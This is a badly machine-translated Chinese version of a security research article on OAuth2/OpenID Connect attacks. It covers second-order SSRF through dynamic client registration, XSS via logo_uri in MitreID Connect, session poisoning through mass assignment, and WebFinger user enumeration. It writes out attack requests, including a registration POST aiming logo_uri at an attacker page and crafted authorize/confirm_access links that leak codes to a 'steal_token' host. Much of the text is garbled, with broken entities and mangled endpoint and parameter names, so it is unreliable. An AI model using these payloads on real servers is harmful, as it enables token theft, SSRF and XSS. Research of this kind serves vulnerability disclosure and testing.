OAuth攻击向量

2021-03-26 19:49:03

oauth2授权协议在过去的十年里被射了。你可能已经听过大量" return_uri"技巧,令牌泄漏,CSRF风格攻击客户,更多。然而,在这篇文章中,我们将参加三个全新的OAuth2和OpenID连接漏洞:"动态客户端注册:SSRF由设计"" redirect_uri会话中毒&#34 ;,和#34; Webfinger用户枚举"我们' LL浏览关键概念,演示了两个开源OAuth服务器(Forgerock Openam和Mitreid Connect)的这些攻​​击,并提供了一些关于如何自行检测这些漏洞的提示。

如果您'重新熟悉一些经典的OAuth漏洞,请不要' T FRET。虽然我们赢得了'在这里讨论它们,我们'在我们的Web安全学院界面覆盖了这些:https://portswigge.net/web-security/oauth。

在潜入漏洞之前,我们应该简要谈谈OpenID。 OpenID Connect是对OAuth协议的流行扩展,它带来了许多新功能,包括ID_Tokens,自动发现,配置端点和更多更多。从Pentesting的角度来看,每当您测试OAuth应用程序时,目标服务器也有很大的机会支持OpenID,这大大扩展了可用攻击表面。作为一个错误的猎人,每当你'重新测试OAuth过程,你应该尝试获取标准" /。众所周知的/ openid-configuration"端点。即使在黑匣子评估中,这也可以为您提供大量信息。

过去的许多OAuth攻击在浏览器中看到授权端点时,每次登录时都会在浏览器中看到授权端点。如果您'重新测试网站并查看类似&#34的请求; /授权?client_id = aaa& redirect_uri = bbb",你可以相对肯定是一个OAuth终端,你可以已经测试了大量的参数。同时,由于OAuth是一个复杂的协议,因此即使从未从客户端 - 侧HTML页面中引用,服务器也可以支持其他端点。

您可能错过的隐藏URL之一是动态客户端注册端点。为了成功认证用户,OAuth服务器需要了解有关客户端应用程序的详细信息,例如" client_name"" client_secret&#34 ;," redirect_uris&#34 ;,等等在。这些细节可以通过本地配置提供,但OAuth授权服务器也可以具有特殊的注册端点。该端点通常映射到" /寄存器"并接受具有以下格式的POST请求:

发布/连接/注册HTTP / 1.1内容类型:应用程序/ JSON主机:server.example.com授权:持票人eyjhbgciojsuzi1nij9.eyj ... {" application_type&#34 ;:" web", " redirect_uris&#34 ;: [" https://client.example.org/callback"]," client_name&#34 ;:"我的例子",& #34; logo_uri&#34 ;:" https://client.example.org/logo.png& #34 ;," subject_type&#34 ;:"成对&#34 ;,&#34 ; sector_identier_uri&#34 ;:" https://example.org/rdrct_uris.json" ;," token_endpoint_auth_method&#34 ;:" client_secret_basic&#34 ;," jwks_uri&#34 ;:" https://client.example.org/public_keys.jwks& #34 ;,"联系人&#34 ;: [" [email protected]"],&#34 ; Request_uris&#34 ;: [" https://client.example.org/rf.txt& n34;]}有两个规范在此请求中定义参数:RFC7591用于OAuth和OpenID连接注册1.0。

正如您可以在此处看到的,则通过URL引用传递许多这些值,并看起来像服务器端请求伪造的潜在目标。与此同时,大多数服务器WE'在收到注册请求时,您无法立即解决这些URL。相反,它们只需保存这些参数并在OAuth授权流程期间稍后使用它们。换句话说,这更像是二阶SSRF,这使得黑盒检测更加困难。

logo_uri - 引用客户端应用程序的徽标的URL。注册客户端后,您可以尝试使用新的新&#34调用OAuth授权端点(" /授权" client_id"登录后,服务器会要求您批准请求,并可以从&#34中显示图像; logo_uri"如果服务器自行获取图像,则应通过此步骤触发SSRF。或者,服务器可以通过客户端&#34包括徽标;< img>"标签。虽然这不导致SSRF,但如果URL未转义,它可能会导致跨站点脚本。

jwks_uri - 客户端的URL' s json web键集[JWK]文档。在使用JWTS for Client身份验证时,在服务器上需要此键集用于验证对令牌端点的签名请求[RFC7523]。要在此参数中测试SSRF,请使用恶意&#34注册新的客户端应用程序; jwks_uri",执行授权过程以获取任何用户的授权代码,然后获取" /令牌& #34;带以下正文的端点:

如果易受攻击,则服务器应该对提供的和#34执行服务器到服务器HTTP请求; jwks_uri"因为它需要这个关键来检查" client_assertion&#34的有效性;您的请求中的参数。尽管如此,这可能只是盲的SSRF漏洞,因为服务器期望适当的JSON响应。

sector_identifier_uri - 此URL引用一个文件的文件,单个json数组redirect_uri值。如果支持,则服务器可以在提交动态注册请求后立即获取此值。如果未立即获取此项,请尝试在服务器上执行此客户端的授权。由于它需要知道redirect_uris以完成授权流程,这将强制服务器向您的恶意扇区_iderifier_uri提出请求。

Request_URIS - 此客户端的允许请求_URIS数组。 " Request_uri"授权端点可以支持参数以提供包含具有请求信息的JWT的URL(请参阅https://openid.net/specs/openid-connect-core-1_0.html#rfc.section.6.2)。

即使没有启用动态客户端注册,或者它需要身份验证,我们也可以尝试通过使用&#34执行授权端点上的SSRF; Request_Uri&#34 ;:

注意:不要将此参数与&#34混淆; redirect_uri" " redirect_uri"用于授权后用于重定向,而" Request_uri"在授权过程的开始时由服务器获取。

与此同时,许多服务器' ve看到不允许任意" Request_uri"值:它们仅允许在客户注册过程中预先注册的白名单URL。那个'为什么我们需要提供" Request_uris&#34 ;:" https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt"预先。

以下参数还包含URL,但通常不会用于发出服务器到服务器请求。而是用于客户端重定向/引用:

Policy_Uri - 依赖方客户端应用程序提供的URL,以便最终用户可以读取如何使用其配置文件数据。

TOS_URI - 依赖方客户提供的URL,以便最终用户可以阅读依赖派对'服务条款。

Initiate_Login_Uri - URI使用第三方可以使用的HTTPS方案来启动RP登录。还应该用于客户端重定向。

所有这些参数都是可选的,根据OAuth和OpenID规范,并不总是支持特定服务器,因此它始终值得识别服务器上支持哪些参数。

如果您定位OpenID服务器,则在&#34处定位发现端点; .well - 已知/ Openid-Configuration"有时包含参数,如" registration_endpoint&#34 ;," Request_Uri_Parameter_Supported&#34 ;,和#34; Require_Request_Uri_Registration"这些可以帮助您找到注册端点和其他服务器配置值。

Mitreid Connect充当独立OAuth授权服务器。在默认配置中,其大部分页面都需要适当的授权,您甚至可以创建一个新的用户 - 仅允许管理员创建新帐户。

它还实现OpenID动态客户端注册协议,并支持注册客户端OAuth应用程序。虽然此功能仅从管理面板,实际和#34引用; /寄存器"端点根本没有检查当前会话。

通过查看源代码,我们发现Mitreid Connect使用" logo_uri"通过以下方式:

在注册过程中,客户端应用程序可以指定其" logo_uri"参数,指向与应用程序关联的图像。这个" logo_uri"参数可以是任意URL。

在授权步骤中,当要求用户批准此新应用程序请求的访问时,授权服务器使服务器到服务器HTTP请求从&#34下载图像; logo_uri"参数,缓存它,并与其他信息一起显示给用户。

当用户访问" / OpenID-Connect-Server-WebApp / API /客户端/ {ID} /徽标&#34时发生此过程;终点,返回获取的&#34的内容; logo_uri"具体来说,弱势控制器位于org.mitre.openid.connect.web.clientapi#getClientLogo

由于服务器未检查检索到的内容实际上是图像,因此攻击者可能被滥用,以请求从授权服务器访问的任何URL并显示其内容,从而导致服务器侧请求伪造攻击。

此功能也可能被滥用以执行跨站点脚本攻击,如" getClientLogo"控制器不强制执行任何图像和#34;内容类型"标题,允许攻击者从自己的URL显示任意HTML内容。如果此HTML包含JavaScript代码,则它将在授权服务器域中执行。

我们需要发送如上所述的动态客户端注册请求。在这种情况下,我们需要提供的裸露的最小参数是" redirect_uri"和#34; logo_uri&#34 ;:

Post / OpenID-Connect-Server-WebApp / Register HTTP / 1.1主机:本地:8080内容长度:118内容类型:应用程序/ JSON {" Redirect_URIS&#34 ;: [" http:// artsploit.com/redirect" ]," logo_uri&#34 ;:" http://artsploit.com/xss.html"向指定的&#34发起服务器到服务器请求; logo_uri&#34 ;:" http:///artsploit.com/xss.html",用户应该导航" /api/clients/ {client.id} /logo"页:

访问最后一页需要低特权帐户。如果攻击者能够通过注册获取一个,则可以使用此端点将任意HTTP请求与本地服务器进行任意HTAT请求并显示其结果。

或者,该攻击可以针对已经经过身份验证的用户使用以执行XSS攻击,因为它允许您在页面上注入任意JavaScript。如上面的例子所示,恶意" logo_uri&#34 ;:" http://artsploit.com/xss.html"可以用来执行"警报(document.domain)"功能。

{client.id}参数是与在OAuth Server注册的每个新客户端关联的增量值。它可以在客户注册后没有任何凭据获得。由于创建服务器时已存在一个默认客户端应用程序,则第一个动态注册的客户端将具有Client_ID" 2"

正如我们从该漏洞所看到的那样,OAuth服务器可以在注册端点中具有二阶SSRF漏洞,因为规范明确地指出,URL引用可以提供多个值。这些漏洞是微妙的,但由于OAuth注册请求格式标准化,即使在黑匣子方案中也可能仍然可以。

下一个漏洞我们' ll在服务器在认证流程中进行参数的方式看。

根据OAuth规范(RFC6749中的第4.1.1节),每当OAuth服务器接收到授权请求时,它应该"验证请求,以确保存在所有必需参数并有效。如果请求有效,授权服务器会验证资源所有者并获得授权决定(通过询问资源所有者或通过其他方式建立批准)和#34;

听起来很简单,对吗?在几乎所有OAuth图中,此过程显示为单一步骤,但它实际上涉及oauth服务器需要实现的三个单独操作:

在许多OAuth服务器实现中我们看到了,这些步骤通过使用三个不同的控制器来分开,类似于" /授权" / login"和#34; / Confirms_access"

在第一步(" /授权")服务器检查" redirect_uri"和#34; client_id"参数。后来,在" / confirm_access"阶段,服务器需要使用这些参数来发出代码。那么服务器如何记住它们?最明显的方式是:

将它们携带在每一步的HTTP查询参数中。这可能需要对每个步骤进行有效性检查,并且验证程序可能不同。

创建一个新的" Interaction_id"参数,唯一标识与服务器启动的每个OAuth授权流程。

正如我们可以在这里看到的,这是严格的OAuth规范并没有真正提供任何建议。因此,实现这种行为存在各种方法。

第一种方法(会话中的商店)非常直观,在代码中看起来优雅,但在同一用户同时发送多个授权请求时,它可能会导致竞争条件问题。

/授权? client_id =客户端& response_type =代码& redirect_uri = http://artsploit.com/服务器检查参数,将它们存储在会话中,并显示同意书:

如您所见,请求正文不包含有关所授权客户端的任何参数,这意味着服务器将它们从用户' s会话中。我们甚至可以在黑盒测试期间发现这种行为。

(在后台)页面向OAuth授权页面发送隐藏的跨域请求,其中包含"不值得信任和#34; " client_id",哪个毒物会议。

用户批准第一页,因为会话包含更新值,用户将被重定向到" redirect_uri"不受信任的客户。

在许多真实系统中,第三方用户可以注册自己的客户,因此这种漏洞可能允许他们注册任意" redirect_uri"并泄露给它。

然而,有一些警告:用户必须批准任何"值得信赖的"客户。如果他们已经批准了同一客户端,则服务器可能只是重新rirect我们而不要求确认。方便地,OpenID规范为我们提供了A"提示=同意"参数,我们可以追加授权请求的URL,以妨碍此问题。如果服务器遵循OpenID规范,则应要求用户确认其同意,即使他们先前授予它。如果没有确认,则剥削更难但仍然可行,具体取决于特定的OAuth服务器实现。

Mitreid Connect Server容易受上述会话中毒问题的影响。在这种情况下,甚至需要注册额外客户端的开发,因为应用程序在确认页面上具有大规模分配漏洞,这也导致会话中毒。

在OAuth2流程期间,当用户导航到授权页面(" /授权")时,authorizationendpoint类正确检查所有提供的参数(client_id,redirect_uri,scope等)。之后,当用户经过身份验证时,服务器显示确认页面,要求用户批准访问权限。用户' s浏览器只会看到" /授权"页面,但在内部,服务器执行从&#34的内部请求转发; /授权" " / oauth / bearm_access"为了将参数从一个页面传递给另一个页面,服务器使用一个" @modelattribute(" authorizationRequest")" " / oauth / confirm_access"控制器:

@preacuthorize(" hasrole('')")@requestmapping(" / oauth / bearm_acces")public string confimaccess(map< string,对象>型号, @modelattribute(" authorizationRequest")authorizationRequest authrequest,主体p){这个注释有点棘手;它不仅从上一个控制器的模型中取参数,而且还从当前的HTTP请求查询中获取它们的值。所以,如果用户直接导航到" / oauth / confirm_access"浏览器中的端点,它能够从URL提供所有授权重新查询参数,并绕过&#34的检查; /授权"页。

这里唯一的警告是" / oauth / confirm_access"控制器需要@SessionAttributes(" authorizationRequest")出席在用户' s会话中。但是,这很容易通过访问和#34来实现; /授权"页面而不对其执行任何操作。这种漏洞的影响类似于" redirect_uri&#34的经典场景类似于经典场景;从未检查过。

恶意演员可以制作两个特殊的链接到授权和确认终点,每个都有自己的" redirect_uri"参数,并将它们提供给用户。

/授权? client_id = c931f431-4e3a-4e63-84f7-948898b3cff9& response_type =代码&范围= OpenID&提示=同意& redirect_uri = http://trusted.example.com/redirect / oauth / bearm_access? client_id = c931f431-4e3a-4e63-84f7-948898b3cff9& response_type =代码&提示=同意&范围= OpenID& redirecturi = http://malious.example.com/steal_token the" client_id"参数可以来自用户已经信任的任何客户端应用程序。当" / confir_access"访问,从URL中获取所有参数和毒品模型/会话。现在,当用户批准第一个请求时(" client_id"它' s trusted),授权令牌泄露给恶意网站。

*注意:您可能会注意到" redirect_uri&#34之间的预期差异;在第一个请求vs" redirecturi"在第二。这是故意的,因为第一个是有效的OAuth参数,而第二个是实际绑定到" authorizationRequest.redirecturi&#34的参数名称;质量分配期间的模型属性。

" @modelattribute(" authorizationRequest")"注释在此没有必要,在转发期间创建额外的风险。执行相同动作的更安全的方法只是为了从&#34中取出这些值; map< string,对象>型号"作为使用@requestmapping注释的方法的输入参数(" / oauth / bearm_access")。

即使在此处不存在大规模分配,也可以通过同时发送两个授权请求,以便它们共享相同的会话,这漏洞仍然可以利用。

" /。众所周知的/ webfinger"是标准OpenID端点,显示有关服务器上使用的用户和资源的信息。例如,它可以以下列方式使用来验证用户"匿名"在服务器上有一个帐户:

/.well-known/webfinger?资源= http:// x /匿名& rel = http:// op

......